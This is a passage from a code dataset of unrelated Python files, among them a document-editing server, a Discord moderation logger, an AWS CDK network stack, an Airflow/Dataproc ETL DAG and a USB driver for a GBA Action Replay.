self.authController.loggedIn():\n return\n \n doc = self.db.query(Document).filter(Document.id==id).first()\n if not doc:\n self.socket.request.sendall(response(False, err=\"document not found\"))\n return\n if user in doc.participants:\n doc.participants.remove(user)\n try:\n self.db.commit()\n self.socket.request.sendall(response(id=doc.id, name=doc.name))\n except Exception as e:\n self.db.rollback()\n self.socket.request.sendall(response(False, err=str(e)))\n \n def open(self, id):\n response = Response(\"open\")\n\n if not self.authController.loggedIn():\n return\n\n doc = self.db.query(Document).filter(Document.id==id).first()\n if not doc:\n self.socket.request.sendall(response(False, \"document not found\"))\n return\n if self.current_session:\n self.current_session.unregister(self.socket)\n if id not in self.sessions:\n self.sessions[id] = EditSession(id)\n self.current_session = self.sessions[id]\n self.current_session.register(self.socket)\n self.socket.request.sendall(response(id=doc.id, name=doc.name, text=self.current_session.content()))\n \n def close(self):\n response = Response(\"close\")\n\n if not self.has_session():\n return\n\n self.current_session.unregister(self.socket, self.db)\n self.current_session = None\n self.socket.request.sendall(response())\n \n def has_session(self):\n return self.current_session is not None\n \n def text(self):\n response = Response(\"text\")\n\n if not self.has_session():\n return\n\n self.socket.request.sendall(response(text=self.current_session.content()))\n \n def edit(self, patch):\n if not self.has_session():\n return\n self.current_session.update_text(self.socket, patch)\n \n def execute(self):\n if not self.has_session():\n return\n self.current_session.execute(self.socket)\n","repo_name":"Titivat/SEP_Project","sub_path":"server/controller/document.py","file_name":"document.py","file_ext":"py","file_size_in_byte":5454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"13357101649","text":"from __future__ import annotations\nfrom typing import TYPE_CHECKING\n\nimport discord\nfrom discord import Embed\nfrom discord.ext import commands\n\nfrom utils import Color\n\nif TYPE_CHECKING:\n from tau import Tau\n\n\nclass ModRecords(commands.Cog):\n def __init__(self, bot: Tau):\n self.bot = bot\n\n @commands.Cog.listener()\n async def on_guild_channel_delete(self, channel: discord.abc.GuildChannel):\n await self.bot.wait_until_synced()\n\n guild_conf = self.bot.guild_confs(channel.guild)\n if channel.id == guild_conf.log_channel_id:\n await guild_conf.set('log_channel_id', None)\n\n @commands.Cog.listener()\n async def on_member_join(self, member: discord.Member):\n webhook = await self.bot.mod_records.get_webhook(member.guild)\n if webhook is not None:\n embed = (\n Embed(title='Member join', color=Color.green)\n .set_author(name=member, icon_url=member.avatar)\n .set_footer(text=f'ID: {member.id}')\n )\n await webhook.send(embed=embed)\n\n @commands.Cog.listener()\n async def on_member_remove(self, member: discord.Member):\n webhook = await self.bot.mod_records.get_webhook(member.guild)\n if webhook is not None:\n embed = (\n Embed(title='Member leave', color=Color.red)\n .set_author(name=member, icon_url=member.avatar)\n .set_footer(text=f'ID: {member.id}')\n )\n await webhook.send(embed=embed)\n\n @commands.Cog.listener()\n async def on_message_delete(self, message: discord.Message):\n webhook = await self.bot.mod_records.get_webhook(message.guild)\n if webhook is not None and webhook.channel != message.channel:\n embed = (\n Embed(description=f'**Message deleted in {message.channel.mention}:**', color=Color.red)\n .set_author(name=message.author, icon_url=message.author.avatar)\n .set_footer(text=f'User ID: {message.author.id}')\n )\n if len(message.content) > 0:\n embed.description += f'\\n>>> {message.content}'\n\n file = None\n if len(message.attachments) > 0:\n attachment = message.attachments[0]\n if attachment.url.lower().endswith(('png', 'jpeg', 'jpg', 'gif', 'webp')):\n file = await attachment.to_file(use_cached=True)\n embed.set_image(url=f'attachment://{file.filename}')\n\n await webhook.send(file=file, embed=embed)\n\n @commands.Cog.listener()\n async def on_message_edit(self, before: discord.Message, after: discord.Message):\n if before.author.bot or before.content == after.content:\n return\n\n webhook = await self.bot.mod_records.get_webhook(before.guild)\n if webhook is not None and webhook.channel != before.channel:\n if len(before.content) > 1024 or len(after.content) > 1024:\n embed = (\n Embed(title='Message edit', description=f'**Before**\\n> {before.content}', color=Color.gold)\n .set_author(name=before.author, icon_url=before.author.avatar)\n .set_footer(text=f'User ID: {before.author.id}')\n )\n await webhook.send(embed=embed)\n\n embed = (\n Embed(description=f'**After**\\n> {after.content}', color=Color.gold)\n .add_field(name='Source', value=f'**[Jump!]({after.jump_url})**')\n .set_footer(text=f'User ID: {after.author.id}')\n )\n await webhook.send(embed=embed)\n else:\n embed = (\n Embed(title='Message edit', color=Color.gold)\n .set_author(name=after.author, icon_url=after.author.avatar)\n .add_field(name='Before', value=f'> {before.content}', inline=False)\n .add_field(name='After', value=f'> {after.content}', inline=False)\n .add_field(name='Source', value=f'**[Jump!]({after.jump_url})**')\n .set_footer(text=f'User ID: {before.author.id}')\n )\n await webhook.send(embed=embed)\n\n\nasync def setup(bot: Tau):\n await bot.add_cog(ModRecords(bot))\n","repo_name":"emisdumb/tau","sub_path":"src/ext/mod_records.py","file_name":"mod_records.py","file_ext":"py","file_size_in_byte":4334,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"} +{"seq_id":"25301406432","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport assignment2 as a2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n(countries, features, values) = a2.load_unicef_data()\n\ntargets = values[:, 1]\nx = values[:, 7:]\nx = a2.normalize_data(x)\n\n# Change feature value to get different plots as mentioned below\n# feature = 3 : GNI\n# feature = 4 : Life expectancy\n# feature = 5 : Literacy\n\nfeature = 4\n\nN_TRAIN = 100\n\n# Select a single feature.\n\nx_train = x[0:N_TRAIN, feature]\nt_train = targets[0:N_TRAIN]\nx_test = x[N_TRAIN:, feature]\nt_test = targets[N_TRAIN:]\n\n# Plot a curve showing learned function.\n# Use linspace to get a set of samples on which to evaluate\n\n# np.asscalar(min(x_train)) -> min(x_train).item() : to fix the warning since function is\n# deprecated with NumPy v1.16\n\nx_ev = np.linspace(min(x_train).item(), max(x_train).item(),\n num=500).reshape(500, 1)\n\n# Applying Linear Regression without regularization, so lambda = 0 and polynomial feature = 3.\n\n(param, tr_err) = a2.linear_regression(x=x_train, y=t_train,\n regLambda=0, order=3)\n\n# Evaluate regression on the linspace samples.\n\ny_ev = a2.polynomial_features(x=x_ev, order=3).dot(param)\n\n# Produce a plot of results.....\n\nplt.plot(x_ev, y_ev, 'r.-')\nplt.plot(x_train, t_train, 'bo')\nplt.plot(x_test, t_test, 'yo')\nplt.ylabel('test_data_values')\nplt.xlabel('train_data_values')\nplt.title('A visualization of a regression estimate using random outputs'\n )\nplt.show()\n","repo_name":"dhruv007patel/Machine-Learning","sub_path":"Assignments/Assignment2/code/visualize_1d.py","file_name":"visualize_1d.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"9067533385","text":"from aws_cdk import (\n aws_ec2 as ec2,\n aws_ecs as ecs,\n aws_route53 as route53,\n aws_route53_targets as route53_targets,\n aws_elasticloadbalancingv2 as elbv2,\n core,\n)\n\nfrom stacks.settings import StackConfig\n\n\ndef retrieve_vpc(scope: core.Construct, vpc_name: str):\n return ec2.Vpc.from_lookup(scope, 'vpc', vpc_name=vpc_name)\n\n\ndef create_vpc(scope: core.Construct, vpc_name: str):\n return ec2.Vpc(\n scope,\n vpc_name,\n max_azs=2,\n cidr='10.10.0.0/16',\n # configuration will create 3 groups in 2 AZs = 6 subnets.\n subnet_configuration=[\n ec2.SubnetConfiguration(\n subnet_type=ec2.SubnetType.PUBLIC,\n name='Public',\n cidr_mask=23 # 512 ip addresses\n ), ec2.SubnetConfiguration(\n subnet_type=ec2.SubnetType.PRIVATE,\n name='Private',\n cidr_mask=23 # 512 ip addresses\n ), ec2.SubnetConfiguration(\n subnet_type=ec2.SubnetType.ISOLATED,\n name='Isolated',\n cidr_mask=24 # 256 ip addresses\n )\n ],\n nat_gateways=1,\n )\n\n\ndef create_load_balancer(scope: core.Construct, vpc: ec2.IVpc):\n return elbv2.ApplicationLoadBalancer(\n scope, 'loadBalancer',\n vpc=vpc,\n deletion_protection=False,\n http2_enabled=True,\n idle_timeout=core.Duration.seconds(60),\n internet_facing=True,\n vpc_subnets=ec2.SubnetSelection(\n subnet_type=ec2.SubnetType.PUBLIC\n ),\n )\n\n\ndef configure_load_balancing(\n load_balancer: elbv2.ApplicationLoadBalancer,\n ec2_service: ecs.FargateService,\n ssl_certificate=None,\n):\n # Redirection 80 --> 443\n if ssl_certificate:\n redirect_listener = load_balancer.add_listener('redirect', port=80, open=True)\n redirect_listener.add_redirect_response('redirect', status_code='HTTP_301', protocol='HTTPS', port='443')\n\n https_listener = load_balancer.add_listener(\n 'listener',\n port=443,\n certificates=[ssl_certificate],\n open=True\n )\n https_listener.add_targets(\n 'target', port=80,\n deregistration_delay=core.Duration.seconds(30),\n slow_start=core.Duration.seconds(30),\n targets=[ec2_service],\n health_check=elbv2.HealthCheck(path='/')\n )\n else:\n http_listener = load_balancer.add_listener('listener', port=80, open=True)\n http_listener.add_targets(\n 'target', port=80,\n deregistration_delay=core.Duration.seconds(30),\n slow_start=core.Duration.seconds(30),\n targets=[ec2_service],\n health_check=elbv2.HealthCheck(path='/')\n )\n\n\ndef configure_domain(\n scope: core.Construct,\n load_balancer: elbv2.ApplicationLoadBalancer,\n config: StackConfig,\n):\n # // DNS record\n zone = route53.HostedZone.from_hosted_zone_attributes(\n scope, 'dns',\n zone_name=config.dns_name,\n hosted_zone_id=config.dns_zone_id,\n )\n target = route53.RecordTarget.from_alias(route53_targets.LoadBalancerTarget(load_balancer))\n route53.ARecord(scope, 'stack-domain', zone=zone, record_name=config.dns_stack_subdomain, target=target)\n\n","repo_name":"victoraguilarc/wise-cdk","sub_path":"stacks/resources/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"73565050661","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\nimport sys, codecs\nsys.stdout = codecs.getwriter('utf-8')(sys.stdout.detach())\n\nfrom corpus import loadTextFromFile, tokenize, getNGrams\n\nmytext = loadTextFromFile(\"cnn-1.txt\")\nmytokens = tokenize(mytext)\nmyngrams = getNGrams(mytokens, 2)\n\ntry:\n outputfile = open(\"sample-a1.dot\", mode='w', encoding='utf-8')\n\n print(\"digraph test {\", file=outputfile)\n for bigram in myngrams:\n lefttoken, righttoken = bigram.split()\n print('\"' + lefttoken + '\"' + \" -> \" + '\"' + righttoken + '\"' + \";\", file=outputfile)\n print(\"}\", file=outputfile)\n\n outputfile.close()\nexcept IOError:\n print(\"Cannot open file...\")\n\n","repo_name":"dcavar/Py3L","sub_path":"src/Week4/ngram-viz-1.py","file_name":"ngram-viz-1.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"29383586217","text":"import sys\nfrom reseaux import *\nfrom ia import *\n\nclass Bomberman:\n\treseau = Reseaux()\n\tia = Ia(2) #1 ou alea, 2 pour evoluee (soon...)\n\tID = 0\n\tl = 0\n\tc = 0\n\tmapp = []\n\tbombes = []\n\tmort = False\n\n\tdef connect(self, host, port, pseudo):\n\t\tself.reseau.connect(host, port)\n\t\tself.reseau.sendString(\"LOGIN \" + pseudo + \"\\0\")\n\n\tdef getSpec(self):\n\t\tprint(\"GET SPEC\")\n\t\tself.reseau.getString()\n\t\tself.ID = self.reseau.getChar()\n\t\tself.l = self.reseau.getInt()\n\t\tself.c = self.reseau.getInt()\n\n\t\tfor i in range(self.l):\n\t\t\tself.mapp.append(['0']*self.c)\n\n\tdef getMap(self):\n\t\tres = self.reseau.getString()\n\t\tif res == \"DEAD\":\n\t\t\tself.mort = True\n\t\telse:\n\t\t\tprint(\"GET MAP\")\n\t\t\tfor i in range(self.l):\n\t\t\t\tfor j in range(self.c):\n\t\t\t\t\tself.mapp[i][j] = self.reseau.getChar()\n\n\t\t\tnb_bombes = self.reseau.getInt()\n\t\t\tself.bombes = []\n\t\t\tfor i in range(nb_bombes):\n\t\t\t\tby = self.reseau.getInt()\n\t\t\t\tbx = self.reseau.getInt()\n\t\t\t\tself.bombes.append((bx,by))\n\n\tdef afficherMap(self):\n\t\ts = '+'\n\t\tfor i in range(self.c):\n\t\t\ts += '-'\n\t\ts += '\\n'\n\t\tfor i in range(self.l):\n\t\t\ts += '|'\n\t\t\tfor j in range(self.c):\n\t\t\t\ts += self.mapp[i][j]\n\t\t\ts += '|\\n'\n\t\ts += '+'\n\t\tfor i in range(self.c):\n\t\t\ts += '-'\n\t\ts += '+\\n'\n\t\tprint(s)\n\n\t\tfor i in range(len(self.bombes)):\n\t\t\t(x, y) = self.bombes[i]\n\t\t\tprint(\"bombe \" + str(i) + \" (\" + str(x) + \", \" + str(y) + \")\")\n\n\tdef jouerCoup(self):\n\t\taction = self.ia.jouerCoup(self.l, self.c, self.mapp, self.bombes, self.ID)\n\t\tprint(\"Action : \" + action+\";\")\n\t\tself.reseau.sendChar(action)\n\n\tdef gameOver(self):\n\t\treturn self.mort\n\n\nbb = Bomberman()\nbb.connect(sys.argv[2], int(sys.argv[3]), sys.argv[1])\nbb.getSpec()\n\nwhile(bb.gameOver() == False):\n\tbb.getMap()\n\tbb.afficherMap()\n\tbb.jouerCoup()\n\nbb.reseau.quitter()\n\n","repo_name":"GuillaumeGas/BombermanIA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"15117593550","text":"# Optimisation in sieve of eratosthenes Prime number\n\ndef solve(A):\n\n prime = [True for i in range(A+1)]\n\n\n i = 2\n while(i*i <= A):\n if prime[i] == True:\n for j in range(i*i, A+1, i):\n prime[j] = False\n i += 1\n\n for i in range(2,A+1):\n if prime[i]:\n print(i, end = ' ')\n\nA = 10\nsolve(A)\n","repo_name":"Singhanji/python-DSA","sub_path":"advance_DSA/Prime_Numbers/optimised_sieve_of_eratosthenes.py","file_name":"optimised_sieve_of_eratosthenes.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"39108084174","text":"def prevPrimeNo(n):\r\n while True:\r\n n-=1\r\n for i in range(2,n):\r\n if n%i==0:\r\n break\r\n else:\r\n return n\r\n\r\n\r\ndef nextPrimeNo(n):\r\n while True:\r\n n+=1\r\n for i in range(2,n):\r\n if n%i==0:\r\n break\r\n else:\r\n return n\r\nif __name__==\"__main__\":\r\n x=int(input())\r\n Lprime=prevPrimeNo(x)\r\n Nprime=nextPrimeNo(x)\r\n if abs(Lprime-x) n: \r\n return\r\n \r\n for i in numbers:\r\n dfs(box + [i])\r\n \r\ndfs([])\r\n\r\nif len(res) < k:\r\n print(-1)\r\n exit(0)\r\n \r\nprint('+'.join(map(str, res[k - 1])))","repo_name":"pianoka/algorithms-study","sub_path":"백준/Silver/12101. 1, 2, 3 더하기 2/1, 2, 3 더하기 2.py","file_name":"1, 2, 3 더하기 2.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"42014696426","text":"import uncertainties\nimport math\nimport os\nimport string\nfrom uncertainties import unumpy as unp\nimport pandas as pd\nimport numpy as np\nfrom lmfit import Parameters, fit_report, minimize, Parameter\nimport matplotlib.pyplot as plt\n\nEnergie = {\"Am\": 5.486, \"Np\": 4.788, \"Cm\": 5.805}\n\ndef derivata(FunzioneModello, parametri, x0):\n \"\"\"\n Dato il modello(che è una funzione da R in R), trova la derivata al punto x0 di esso, per calcolare l'errore indotto.\n Il secondo input è una struttura di lmfit che viene restituita dalla funzione fit(). Quindi questa funzione può essere utilizzata\n solo dopo il primo fit per farne un secondo utilizzando l'errore indotto\n \"\"\"\n h = 1e-8\n\n # Restituisce un numero, la derivata del modello a parametri fissati\n return (FunzioneModello(parametri, x0+h) - FunzioneModello(parametri, x0-h)) / (2*h)\n\n\ndef pescadati(file_name='my_file.xlsx', foglio=0, colonne='A:E', listaRighe=[0, 1, 2], header=None):\n \"\"\"\n Prende i dati dal file_name. Mantenere la forma 'X:Y' per le colonne. \n Restituisce una tabella (DataFrame) che contiene le colonne del file excel specificato, e che ha solo le righe della lista specificata.\n Utilizzare range(a,b) per selezionare solo le righe [a+1 ,..., b]:\n range(0,5) -> righe dalla 1 alla 5 del file (le prime 5)\n range(3,7) -> righe dalla 4 alla 7 del file\n Utilizzare header per inserire l'intero della riga che si vuole usare per i titoli. Ad es usare header=5 vuol\n dire che la riga 6 del file sarà usata per i titoli (0-indexed)\n \"\"\"\n\n df = pd.read_excel(file_name, sheet_name=foglio, header=header,\n\n usecols=colonne, skiprows=lambda x: x not in listaRighe,)\n\n return df\n\ndf = pescadati(\"./excelfinto.xlsx\", colonne = 'A:J', listaRighe = range(11,21))\ndf = df.dropna(axis = 1)\ndf.columns = [\"ch1\", \"ch2\", \"delta\", \"CHN\", \"CNT\", \"errore_ch\"]\n\ndef model(pars,x):\n vals = pars.valuesdict()\n a=vals['a']\n b=vals['b']\n model = a*x+b\n return model\n\ndef residual(pars, x,data):\n residuo=(model(pars,x)-data)/yerr\n return residuo\n\nydata = (df[\"ch1\"].to_numpy() + df[\"ch2\"].to_numpy())/2\nyerr = df[\"delta\"].to_numpy()/500\n#yerr = np.ones(len(ydata))*0.08\nxdata = df[\"CHN\"].to_numpy()\n\nfit_params = Parameters()\nfit_params.add('a', value=1.)\nfit_params.add('b', value=1.)\n\nout = minimize(residual, fit_params, args=(xdata,), kws={'data': ydata},scale_covar=True)\n\nprint(\"ppp\",fit_report(out))\n\nspazio = np.linspace(min(xdata)-1,max(xdata)+1,100)\n\nfig, ax = plt.subplots()\nax.set_xlabel('variable x - u.m.')\nax.set_ylabel('variable y - u.m.')\nplt.plot(xdata,ydata,'o')\nplt.plot(spazio,model(out.params,spazio))\nplt.errorbar(xdata,ydata,yerr=yerr,ecolor='black', ls=\" \")\nplt.show()\n\ndf = pescadati(\"./excelfinto.xlsx\", colonne = 'B:F', listaRighe = range(26,29))\ndf.columns = [\"Picco\", \"CNT\", \"MezzoPicco\", \"FWHM\", \"err\"]\nprint(df)\n\nydata = np.array(sorted(list(Energie.values())))\nyerr = np.ones(len(ydata))*0.001\n\nxdata = df[\"Picco\"].to_numpy()\n\nout = minimize(residual, fit_params, args=(xdata,), kws={'data': ydata},scale_covar=True)\n\nprint(fit_report(out))\n\nspazio = np.linspace(min(xdata)-1,max(xdata)+1,100)\n\nfig, ax = plt.subplots()\nax.set_xlabel('variable x - u.m.')\nax.set_ylabel('variable y - u.m.')\nplt.plot(xdata,ydata,'o')\nplt.plot(spazio,model(out.params,spazio))\nplt.errorbar(xdata,ydata,yerr=yerr,ecolor='black', ls=\" \")\n#plt.show()\n\nprint(out.covar)\nprint(np.sqrt(out.covar[0,0]))\nprint(out.params)\ndef sigma_E(ch, sigma_ch, cov, params):\n a = params[\"a\"].value\n b = params[\"b\"].value\n sigma_a = params[\"a\"].stderr\n sigma_b = params[\"b\"].stderr\n sigma_ab = cov[1,0]\n\n termine1 = (ch*sigma_a)**2\n termine2 = (sigma_b)**2\n termine3 = (a*sigma_ch)**2\n termine4 = 2*ch*sigma_ab\n print(termine1, termine2, termine3)\n return a*ch + b, np.sqrt(termine1 + termine2 + termine3 + termine4)\n\nprint(sigma_E(1072, 1.702, out.covar, out.params))\n","repo_name":"PinoLG01/Funzioni-Utili-per-analisi-dati","sub_path":"Python/Prima analisi dati in laboratorio.py","file_name":"Prima analisi dati in laboratorio.py","file_ext":"py","file_size_in_byte":3964,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"4382034980","text":"from datetime import datetime,timedelta , date \n\nfrom airflow import models,DAG \n\nfrom airflow.contrib.operators.dataproc_operator import DataprocClusterCreateOperator,DataProcPySparkOperator,DataprocClusterDeleteOperator\n\nfrom airflow.contrib.operators.gcs_to_bq import GoogleCloudStorageToBigQueryOperator\n\nfrom airflow.operators import BashOperator \n\nfrom airflow.models import *\n\nfrom airflow.utils.trigger_rule import TriggerRule\n\n\ncurrent_date = str(date.today())\n\nBUCKET = \"gs://bucket_name\"\n\nPROJECT_ID = \"your_project_id\"\n\nPYSPARK_JOB = BUCKET + \"/spark-job/flights-etl.py\"\n\nDEFAULT_DAG_ARGS = {\n 'owner':\"airflow\",\n 'depends_on_past' : False,\n \"start_date\":datetime.utcnow(),\n \"email_on_failure\":False,\n \"email_on_retry\":False,\n \"retries\": 1,\n \"retry_delay\":timedelta(minutes=5),\n \"project_id\":PROJECT_ID,\n \"scheduled_interval\":\"30 2 * * *\"\n}\n\nwith DAG(\"flights_delay_etl\",default_args=DEFAULT_DAG_ARGS) as dag : \n\n create_cluster = DataprocClusterCreateOperator(\n\n task_id =\"create_dataproc_cluster\",\n cluster_name=\"ephemeral-spark-cluster-{{ds_nodash}}\",\n master_machine_type=\"n1-standard-1\",\n worker_machine_type=\"n1-standard-2\",\n num_workers=2,\n region=\"asia-east1\",\n zone =\"asia-east1-a\"\n )\n\n submit_pyspark = DataProcPySparkOperator(\n task_id = \"run_pyspark_etl\",\n main = PYSPARK_JOB,\n cluster_name=\"ephemeral-spark-cluster-{{ds_nodash}}\",\n region=\"asia-east1\"\n )\n\n bq_load_delays_by_distance = GoogleCloudStorageToBigQueryOperator(\n\n task_id = \"bq_load_avg_delays_by_distance\",\n bucket=BUCKET,\n source_objects=[\"flights_data_output/\"+current_date+\"_distance_category/part-*\"],\n destination_project_dataset_table=PROJECT_ID+\".data_analysis.avg_delays_by_distance\",\n autodetect = True,\n source_format=\"NEWLINE_DELIMITED_JSON\",\n create_disposition=\"CREATE_IF_NEEDED\",\n skip_leading_rows=0,\n write_disposition=\"WRITE_APPEND\",\n max_bad_records=0\n )\n\n bq_load_delays_by_flight_nums = GoogleCloudStorageToBigQueryOperator(\n\n task_id = \"bq_load_delays_by_flight_nums\",\n bucket=BUCKET,\n source_objects=[\"flights_data_output/\"+current_date+\"_flight_nums/part-*\"],\n destination_project_dataset_table=PROJECT_ID+\".data_analysis.avg_delays_by_flight_nums\",\n autodetect = True,\n source_format=\"NEWLINE_DELIMITED_JSON\",\n create_disposition=\"CREATE_IF_NEEDED\",\n skip_leading_rows=0,\n write_disposition=\"WRITE_APPEND\",\n max_bad_records=0\n )\n\n delete_cluster = DataprocClusterDeleteOperator(\n\n task_id =\"delete_dataproc_cluster\",\n cluster_name=\"ephemeral-spark-cluster-{{ds_nodash}}\",\n region=\"asia-east1\",\n trigger_rule = TriggerRule.ALL_DONE\n )\n\n delete_tranformed_files = BashOperator(\n task_id = \"delete_tranformed_files\",\n bash_command = \"gsutil -m rm -r \" +BUCKET + \"/flights_data_output/*\"\n )\n\n create_cluster.dag = dag\n\n create_cluster.set_downstream(submit_pyspark)\n\n submit_pyspark.set_downstream([bq_load_delays_by_flight_nums,bq_load_delays_by_distance,delete_cluster])\n\n delete_cluster.set_downstream(delete_tranformed_files)","repo_name":"siddd88/gcp-data-engineering","sub_path":"bigquery-sparksql-batch-etl/spark-sql/airflow-dag/spark-bq-dag.py","file_name":"spark-bq-dag.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"35"} +{"seq_id":"31253483236","text":"import sqlalchemy\nfrom sqlalchemy.orm import sessionmaker\n\n# from DataBase import create_tables, Users, ViewedUser\nfrom DataBase import create_tables, Users\nfrom VKinder import VKinder_3, id\n\n\nDSN = \"postgresql://postgres:13245342@localhost:5432/VKinder\"\n\nengine = sqlalchemy.create_engine(DSN)\n\ncreate_tables(engine)\n\nSession = sessionmaker(bind=engine)\nsession = Session()\nsession.commit()\n\nvkinder = VKinder_3()\nvk_id_value = vkinder.pull_name(id)\nVK_user = Users(vk_id=vk_id_value) # создаём пользователя который написал боту (id автоматом пропишется)\n\nsession.add(VK_user) # создаём в бд\nsession.commit()\nvk_viewed_id_value = vkinder.search_user(id)\n\nVK_id_viewed1 = Users(vk_id=vk_viewed_id_value)\nVK_user.vk_viewed_id = vk_viewed_id_value\nsession.commit() # отправляем коммит что бы создалось\n\n\nsession.close()\n","repo_name":"IlyaDyakonov/VKinder_3.0","sub_path":"orm.py","file_name":"orm.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"44043693480","text":"import itertools\nfrom abstract_classes import AbstractDriverAR\n\nimport usb.core\nimport usb.util\nimport sys\nimport time\nfrom struct import *\nimport logging\n\nclass PythonDriver(AbstractDriverAR):\n def __init__(self, export_filename: str, import_filename: str, mock: bool = False):\n logging.info(\"Export in PythonDriver \" + export_filename)\n logging.info(\"Import in PythonDriver \" + import_filename)\n self.mock = mock\n if mock:\n self.DATA_FILE = \"mock_data.dat\"\n # TODO create driver self.dev stub \n else:\n self.DATA_FILE = import_filename\n self.dev, self.cfg_desired = self.__init_driver()\n\n\n self.gameCheats = [] # TODO: unused?\n\n self.ENDPOINT_ADDRESS_IN = 0x2\n self.ENDPOINT_ADDRESS_OUT = 0x81\n\n self.WRITE_CODE = b'\\x43\\x42\\x57\\x13\\x00\\x00\\x00\\x00'\n self.READ_CODE = b'\\x43\\x42\\x57\\x1c\\x00\\x00\\x00\\x00'\n self.END_WRITE_CODE = b'\\x43\\x42\\x57\\x1b\\x00\\x00\\x00\\x00'\n self.ZERO = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n self.DONTKNOWYET = b'\\x43\\x42\\x57\\x12\\x00\\x00\\x00\\x00'\n\n \n self.SOURCE_FILENAME = export_filename\n\n @staticmethod\n def __init_driver():\n # find our device\n # Bus 002 Device 010: ID 05fd:daae InterAct, Inc. Game Shark\n idVendor = 0x5fd\n idProduct = 0xdaae\n dev = usb.core.find(idVendor=idVendor, idProduct=idProduct)\n if dev is None:\n raise ValueError(f'Device with vendor ID {idVendor} and product ID {idProduct} not found')\n else:\n logging.info(\"GBA Link found\")\n\n # check if there is already a driver attached to the device\n i = dev[0].interfaces()[0].bInterfaceNumber\n if dev.is_kernel_driver_active(i):\n dev.detach_kernel_driver(i)\n logging.info(\"Driver active!\")\n\n # set appropriate config\n cfg_desired = usb.util.find_descriptor(dev, bConfigurationValue=1)\n dev.set_configuration(cfg_desired)\n try:\n cfg = dev.get_active_configuration()\n except usb.core.USBError:\n cfg = None\n if cfg is None or cfg.bConfigurationValue != cfg_desired:\n dev.set_configuration(cfg_desired)\n return dev, cfg_desired\n\n # From the libusb manual:\n #\"get_active_configuration() will act as a lightweight device reset:\n # it will issue a SET_CONFIGURATION request using the current configuration,\n # causing most USB-related device state to be reset (altsetting reset to zero, endpoint halts cleared, toggles reset).\"\n def __get_and_set_usb_config(self):\n usb.util.dispose_resources(self.dev)\n i = self.dev[0].interfaces()[0].bInterfaceNumber\n if self.dev.is_kernel_driver_active(i):\n self.dev.detach_kernel_driver(i)\n logging.info(\"Driver active!\")\n cfg_desired = usb.util.find_descriptor(self.dev, bConfigurationValue=1)\n self.dev.set_configuration(cfg_desired)\n try:\n cfg = self.dev.get_active_configuration()\n except usb.core.USBError:\n cfg = None\n if cfg is None or cfg.bConfigurationValue != cfg_desired:\n self.dev.set_configuration(cfg_desired)\n return\n\n def __write_data_to_file(self,data: list[list]):\n logging.info(f\"In driverAR. This is the filename which the device data is written to: {self.DATA_FILE}\")\n with open(self.DATA_FILE, \"wb\") as f:\n f.write(bytes(list(itertools.chain(*data))))\n\n def single_read_request(self):\n try:\n ret = self.dev.read(self.ENDPOINT_ADDRESS_OUT,8,1000)\n return ret.tolist()\n except Exception as e:\n logging.info(f\"Exception in single_read_request {e}\")\n return [-1]\n \n def single_write_request(self, msg: bytes):\n ret = self.dev.write(self.ENDPOINT_ADDRESS_IN,msg,100)\n return ret\n\n def write_and_read_request(self, msg: bytes):\n retW = self.single_write_request(msg)\n retR = self.single_read_request()\n return retW, retR\n\n def read_data(self):\n # initiate upload\n self.write_and_read_request(self.READ_CODE)\n \n # send zeros for some reason...\n self.write_and_read_request(self.ZERO)\n\n # TODO Find out the semantics of this code DONTKNOWYET...\n self.write_and_read_request(self.DONTKNOWYET)\n\n # send zeros for some reason again...\n self.write_and_read_request(self.ZERO)\n\n loop_condition = True\n data = []\n\n while loop_condition:\n msg = b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n ret = self.dev.write(self.ENDPOINT_ADDRESS_IN,msg,100) # here it is 100 wait time, before only 1 -> TODO new param for write_reat_request() ?\n ret = self.single_read_request()\n\n data.append(ret)\n\n # not nice: TODO change (maybe look at original driver/client?)\n if ret == [11,11,11,11,20,20,20,20] or ret == [255, 255, 255, 255, 255, 255, 255, 255] or ret == [0,0,0,0,0,0,0,0]:\n loop_condition = False\n \n # message to indicate the end of the import of data from device\n self.write_and_read_request(self.END_WRITE_CODE)\n self.__get_and_set_usb_config()\n # save cheat code data to a file\n # logging.info(\"In driver. This is the read data from device: \" + str(data))\n self.__write_data_to_file(data)\n \n \n def write_data_to_device(self, num_of_games: int): # TODO: change signature to match signature of AbstractDriverAR\n usb.util.dispose_resources(self.dev)\n logging.info(\"In driverAR.write_data_to_device. This file is read and its content written to the device \"+ self.SOURCE_FILENAME)\n file_handler = open(self.SOURCE_FILENAME,'rb')\n data_to_send = file_handler.read()\n file_handler.close()\n\n NUM_OF_GAMES = pack(\" None:\n self.base = base\n\n\n def searchFile(self, path):\n result = \"404 Not Found\"\n if path == \"/\":\n return result\n name = path.split(\"/\")[-1]\n path = self.base + path.split(\"/\" + name)[0]\n if \".\" not in name:\n name += \".html\"\n for root, dirs, files in os.walk(path):\n if name in files:\n with open(path + 